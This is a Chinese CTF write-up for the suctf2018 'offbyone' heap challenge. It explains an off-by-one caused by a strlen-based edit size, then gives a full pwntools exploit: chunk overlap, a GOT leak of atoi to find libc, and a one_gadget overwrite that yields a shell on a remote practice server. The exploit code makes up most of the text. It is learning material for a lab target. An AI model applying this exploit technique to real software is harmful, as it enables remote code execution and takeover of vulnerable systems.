suctf2018_heap(off-by-one)

检查防护

1

防护很松

IDA静态分析

2

漏洞也就是off-by-one在edit处我们可编辑的size是用strlen函数去判定的,假设我们堆风水布局如此:

3

我们请求的size是0x88,启用了下一个chunk的presize位,并且打满空间的话,那么strlen函数记录到0x91,也就多了一个字节可以被我们控制,如果这个size是0x100,那么我们可以劫持2字节,不过这里一字节已经够我们去构造堆重叠,布置堆风水了。

难度不大直接放exp了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*

context(os='linux', arch='amd64', log_level='debug')

#io = process(['/home/s4ndw1ch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './offbyone'], env={"LD_PRELOAD":'/home/s4ndw1ch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
io = remote('node4.buuoj.cn',28722)
elf = ELF('./offbyone')
libc = ELF('./libc-2.27_64.so')

def add(size,content):
io.recvuntil(b'4:edit')
io.sendline(str(1))
io.recvuntil(b'input len')
io.sendline(str(size))
io.recvuntil(b'input your data')
io.send(content)


def free(index):
io.recvuntil(b'4:edit')
io.sendline(str(2))
io.recvuntil(b'input id')
io.sendline(str(index))

def show(index):
io.recvuntil(b'4:edit')
io.sendline(str(3))
io.recvuntil(b'input id')
io.sendline(str(index))

def edit(index,content):
io.recvuntil(b'4:edit')
io.sendline(str(4))
io.recvuntil(b'input id')
io.sendline(str(index))
io.recvuntil(b'input your data')
io.send(content)


add(0x88,'a'*0x88) #0
add(0x88,'b'*0x88) #1
add(0x88,'c'*0x88) #2
edit(0,b'a'*(0x88)+p8(0xc1))

edit(2,b'a'*(0x20)+p64(0)+p64(0x61))
free(2)
free(1)
add(0xb0,b'a'*0x88+p64(0x91)+p64(0x6020C0)) #1

add(0x88,'a'*0x10) #2

edit(2,p64(elf.got['atoi']))
show(0)
atoi = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = atoi - libc.sym['atoi']
log.success('libc_base => '+hex(libc_base))
#system=libc_base+libc.sym['system']
one = [0x4f2c5,0x4f322,0x10a38c]
edit(0,p64(one[1]+libc_base))

io.interactive()


4